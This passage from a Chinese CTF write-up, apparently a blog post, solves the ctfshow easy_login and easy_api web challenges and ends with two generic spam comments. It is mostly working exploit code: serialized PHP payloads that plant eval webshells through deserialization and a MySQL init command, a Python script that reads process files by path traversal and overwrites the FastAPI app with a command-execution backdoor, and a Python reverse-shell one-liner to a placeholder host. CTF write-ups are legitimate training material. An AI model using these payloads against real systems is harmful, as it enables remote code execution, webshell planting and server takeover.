data="token=user|O%3A11%3A%22application%22%3A6%3A%7Bs%3A6%3A%22cookie%22%3BO%3A13%3A%22cookie_helper%22%3A1%3A%7Bs%3A21%3A%22%00cookie_helper%00secret%22%3BN%3B%7Ds%3A5%3A%22mysql%22%3BO%3A12%3A%22mysql_helper%22%3A2%3A%7Bs%3A16%3A%22%00mysql_helper%00db%22%3Ba%3A0%3A%7B%7Ds%3A6%3A%22option%22%3Ba%3A1%3A%7Bi%3A19%3Bi%3A262152%3B%7D%7Ds%3A9%3A%22dispather%22%3BN%3Bs%3A5%3A%22loger%22%3BO%3A10%3A%22userLogger%22%3A3%3A%7Bs%3A8%3A%22username%22%3BN%3Bs%3A20%3A%22%00userLogger%00password%22%3BN%3Bs%3A20%3A%22%00userLogger%00filename%22%3Bs%3A10%3A%22..%2Flog.txt%22%3B%7Ds%3A5%3A%22debug%22%3Bb%3A1%3Bs%3A10%3A%22dispatcher%22%3BO%3A10%3A%22dispatcher%22%3A0%3A%7B%7D%7D"
response = requests.get(url=url+"index.php?action=main&token="+data)
time.sleep(1)
print("第二步执行完毕")
def step3():
data={
"1":"system('whoami && cat /f*');",
}
response = requests.post(url=url+"log.txt_-%3C%3F%3Deval(%24_POST%5B1%5D)%3B%3F%3E.php",data=data)
time.sleep(1)
if "www-data" in response.text:
print("第三步 getshell 成功")
print(response.text)
else:
print("第三步 getshell 失败")
if __name__ == '__main__':
step1()
step2()
step3()
官方脚本那个反序列化数据比较扯淡,被打码的隐藏数据都拿来反序列化了,其实那些是不必要的。
非预期
ctfshow元旦水友赛web easy_login详解,看的这个大佬的。
还是mysql_helper这里,官方文档里还有一个参数MYSQL_ATTR_INIT_COMMAND
,可以指定连接mysql时执行的语句,比如直接写个马就无敌了
<?php
session_start();
class mysql_helper
{
public $option = array(
PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?=eval(\$_POST[1]);?>' into outfile '/var/www/html/fushuling.php';"
);
}
class application
{
public $mysql;
public $debug = true;
public function __construct()
{
$this->mysql = new mysql_helper();
}
}
$_SESSION['user'] = new application();
echo urlencode(session_encode());
#user%7CO%3A11%3A%22application%22%3A2%3A%7Bs%3A5%3A%22mysql%22%3BO%3A12%3A%22mysql_helper%22%3A1%3A%7Bs%3A6%3A%22option%22%3Ba%3A1%3A%7Bi%3A1002%3Bs%3A57%3A%22select+%27%3C%3F%3D%60nl+%2F%2A%60%3B%27++into+outfile+%27%2Fvar%2Fwww%2Fhtml%2F3.php%27%3B%22%3B%7D%7Ds%3A5%3A%22debug%22%3Bb%3A1%3B%7D
脚本:
import requests
import time
url = "http://38578ee2-680e-4236-b362-28fc9eb32421.challenge.ctf.show/"
def step1():
data="token=user%7CO%3A11%3A%22application%22%3A2%3A%7Bs%3A5%3A%22mysql%22%3BO%3A12%3A%22mysql_helper%22%3A1%3A%7Bs%3A6%3A%22option%22%3Ba%3A1%3A%7Bi%3A1002%3Bs%3A75%3A%22select+%27%3C%3F%3Deval%28%24_POST%5B1%5D%29%3B%3F%3E%27++into+outfile+%27%2Fvar%2Fwww%2Fhtml%2Ffushuling.php%27%3B%22%3B%7D%7Ds%3A5%3A%22debug%22%3Bb%3A1%3B%7D"
response = requests.get(url=url+"index.php?action=main&token="+data)
time.sleep(1)
print("第一步执行完毕")
def step2():
data={
"1":"system('whoami && cat /f*');",
}
response = requests.post(url=url+"fushuling.php",data=data)
time.sleep(1)
if "www-data" in response.text:
print("getshell 成功")
print(response.text)
else:
print("getshell 失败")
if __name__ == '__main__':
step1()
step2()
easy_api
访问url/openapi.json获得api接口列表
{
"openapi": "3.1.0",
"info": {
"title": "FastAPI",
"version": "0.1.0"
},
"paths": {
"/upload/": {
"post": {
"summary": "Upload File",
"operationId": "upload_file_upload__post",
"requestBody": {
"content": {
"multipart/form-data": {
"schema": {
"$ref": "#/components/schemas/Body_upload_file_upload__post"
}
}
},
"required": true
},
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
},
"422": {
"description": "Validation Error",
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/HTTPValidationError"
}
}
}
}
}
}
},
"/uploads/{fileIndex}": {
"get": {
"summary": "Download File",
"operationId": "download_file_uploads__fileIndex__get",
"parameters": [
{
"name": "fileIndex",
"in": "path",
"required": true,
"schema": {
"type": "string",
"title": "Fileindex"
}
}
],
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
},
"422": {
"description": "Validation Error",
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/HTTPValidationError"
}
}
}
}
}
}
},
"/list": {
"get": {
"summary": "List File",
"operationId": "list_file_list_get",
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
}
}
}
},
"/": {
"get": {
"summary": "Index",
"operationId": "index__get",
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
}
}
}
}
},
"components": {
"schemas": {
"Body_upload_file_upload__post": {
"properties": {
"file": {
"type": "string",
"format": "binary",
"title": "File"
}
},
"type": "object",
"required": [
"file"
],
"title": "Body_upload_file_upload__post"
},
"HTTPValidationError": {
"properties": {
"detail": {
"items": {
"$ref": "#/components/schemas/ValidationError"
},
"type": "array",
"title": "Detail"
}
},
"type": "object",
"title": "HTTPValidationError"
},
"ValidationError": {
"properties": {
"loc": {
"items": {
"anyOf": [
{
"type": "string"
},
{
"type": "integer"
}
]
},
"type": "array",
"title": "Location"
},
"msg": {
"type": "string",
"title": "Message"
},
"type": {
"type": "string",
"title": "Error Type"
}
},
"type": "object",
"required": [
"loc",
"msg",
"type"
],
"title": "ValidationError"
}
}
}
}
这里定义了四个API路径
/upload/:上传文件,使用 POST 方法,并接受一个 multipart/form-data 类型的请求体,其中包含一个名为 file 的文件对象。
/uploads/{fileIndex}:下载文件,使用 GET 方法,并接受一个名为 fileIndex 的路径参数,表示要下载的文件的索引。
/list:列出所有已上传的文件,使用 GET 方法。
/:根路径,使用 GET 方法。
测试脚本:
import requests
import re
url = "http://2df4b7ed-e862-4d5d-89ff-6e19c9610d4d.challenge.ctf.show/"
name = "fushuling"
response = requests.post(
url=url+"upload/",
files={"file":(name, "fushuling")}
)
print(response.text)
fileIndex=re.search(r'"fileName":"([^"]+)"', str(response.text)).group(1)
# print(fileIndex)
response = requests.get(
url=url+"uploads/"+fileIndex
)
print(response.text)
'''
{"fileName":"7ed7d072-7526-403a-98c3-b422698426f4"}
{"fileName":"7ed7d072-7526-403a-98c3-b422698426f4","fileContent":"fushuling"}
'''
这里猜测题目使用了os.path.join进行了路径拼接,存在路径穿越,我们可以把本来服务器上的文件传上去然后读,这样就有任意文件读取
import requests
import re
url = "http://2df4b7ed-e862-4d5d-89ff-6e19c9610d4d.challenge.ctf.show/"
def upload(name):
response = requests.post(
url=url+"upload/",
files={"file":(name, "fushuling")}
)
print(response.text)
fileIndex=re.search(r'"fileName":"([^"]+)"', str(response.text)).group(1)
# print(fileIndex)
response = requests.get(
url=url+"uploads/"+fileIndex
)
print(response.text)
for pid in range(20):
filename = f'/proc/{pid}/cmdline'
# filename = "/proc/1/cmdline"
upload(filename)
读出来当前工作目录是/ctfshowsecretdir,uvicorn主文件名为ctfshow2024secret,所以我们知道当前这个应用文件其实就在/ctfshowsecretdir/ctfshow2024secret.py,我们可以写一个api木马,覆盖主程序,名字不能变然后重载,这样就能RCE,官方脚本:
#-*- coding : utf-8 -*-
# coding: utf-8
import time
import requests
import io,json
url = "http://xxxx/"
app = ''
# Author:ctfshow-h1xa
def get_api():
response = requests.get(url=url+"openapi.json")
if "FastAPI" in response.text:
apijson = json.loads(response.text)
return apijson
def get_pwd():
pwd = ''
for pid in range(20):
data = f'/proc/{pid}/environ'
file = upload(data)
content = download(file['fileName'])
if content['fileName'] and 'PWD' in content['fileContent']:
pwd = content['fileContent'][content['fileContent'].find("PWD=")+4:content['fileContent'].find("GPG_KEY=")]+'/'
break
return pwd
def get_python_file():
python_file = ''
for pid in range(20):
data = f'/proc/{pid}/cmdline'
file = upload(data)
content = download(file['fileName'])
if content['fileName'] and 'uvicorn' in content['fileContent']:
if 'reload' in content['fileContent']:
print("[√] 检测到存在reload参数,可以进行热部署")
python_file = content['fileContent'][content['fileContent'].find("uvicorn")+7:content['fileContent'].find(":")]+".py"
print(f"[√] 检测到主程序,{python_file}")
global app
app = content['fileContent'][content['fileContent'].find("uvicorn")+7+len(python_file)-3+1:content['fileContent'].find("--")]
print(f"[√] 检测到uvicorn的应用名,{app}")
else:
print("[x] 检测到无reload参数,无法热部署,程序结束")
exit()
break
return python_file
def new_file():
global app
return f'''
import uvicorn,os
from fastapi import *
{app} = FastAPI()
@{app}.get("/s")
def s(c):
os.popen(c)
'''.replace("\x00","")
def get_shell(name):
name = name.replace("\x00","")
response = requests.post(
url=url+"upload/",
files={"file":(name, new_file())}
)
if 'fileName' in response.text:
print(f"[√] 上传成功,等待5秒重载主程序 ")
for i in range(5):
time.sleep(1)
print("[√] "+str(5-i)+" 秒后验证重载")
else:
print("[x] 主程序重写失败,程序退出")
exit()
try:
response = requests.get(url=url+'s/?c=whoami', timeout=3)
except:
print("[x] 主程序重载失败,程序退出")
exit()
if response.status_code == 200:
print(f"[√] 恭喜,getshell成功 路径为{url}s/ ")
else:
print("[x] 主程序重载失败,程序退出")
exit()
def upload(name):
f = io.BytesIO(b'a' * 100)
response = requests.post(
url=url+"upload/",
files={"file":(name, f)}
)
if 'fileName' in response.text:
data = json.loads(response.text)
return data
else:
return {'fileName':''}
def download(file):
response = requests.get(url=url+"uploads/"+file)
if 'fileName' in response.text:
data = json.loads(response.text)
return data
else:
return {'fileName':''}
def main():
print("[√] 开始读取openapi.json")
apijson = get_api()
print("[√] 开放api有")
print(*apijson['paths'])
print("[√] 开始读取运行目录")
pwd = get_pwd()
if pwd:
print(f"[√] 运行目录读取成功 路径为{pwd}")
else:
print("[x] 运行路径读取失败,程序退出")
exit()
python_file = get_python_file()
if python_file:
print(f"[√] uvicorn主文件读取成功 路径为{pwd}{python_file}")
else:
print("[x] uvicorn主文件读取失败,程序退出")
exit()
get_shell(pwd+python_file)
if __name__ == "__main__":
main()
这个小马执行命令没有回显,用python弹shell即可
url/s?c=python%20-c%20%22import%20os%2Csocket%2Csubprocess%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect(('x.x.x.x'%2C9383))%3Bos.dup2(s.fileno()%2C0)%3Bos.dup2(s.fileno()%2C1)%3Bos.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call(%5B'%2Fbin%2Fbash'%2C'-i'%5D)%3B%22
官方wp链接CTFshow元旦水友赛官方WP,写的没有我详细,但我也是跟着他的思路写的,所以还是建议看看官方wp。近来因为一些事意志消沉了很久,还好缓过来了,希望以后能做更多有意义的事。
加油
There is definately a lot to find out about this subject. I like all the points you made
Pretty! This has been a really wonderful post. Many thanks for providing these details.